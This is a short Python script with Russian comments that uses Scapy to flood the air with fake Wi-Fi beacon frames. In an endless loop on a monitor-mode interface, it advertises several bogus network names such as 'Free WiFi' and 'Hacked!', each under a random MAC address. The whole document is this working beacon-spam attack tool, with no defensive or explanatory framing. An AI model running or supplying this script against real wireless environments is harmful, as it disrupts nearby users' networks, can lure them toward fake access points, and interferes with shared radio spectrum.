Загрузка данных


from scapy.all import Dot11, Dot11Beacon, Dot11Elt, RadioTap, sendp, randmac
import time

# Конфигурация
interface = "wlan0mon"  # Имя твоего интерфейса в режиме монитора
ssids = ["Free WiFi", "Hacked!", "Testing Python", "12345678"] # Список имен сетей

def send_beacon(ssid, mac, interface):
    # Формируем пакет: RadioTap + заголовок 802.11 + Beacon Frame + SSID
    dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=mac, addr3=mac)
    beacon = Dot11Beacon(cap="ESS+privacy")
    essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid))
    
    packet = RadioTap() / dot11 / beacon / essid
    sendp(packet, iface=interface, verbose=False)

print(f"Запуск спама на интерфейсе {interface}...")

try:
    while True:
        for name in ssids:
            # Генерируем случайный MAC-адрес для каждой сети
            mac = randmac() 
            send_beacon(name, mac, interface)
        time.sleep(0.1) # Пауза между циклами рассылки
except KeyboardInterrupt:
    print("\nОстановка...")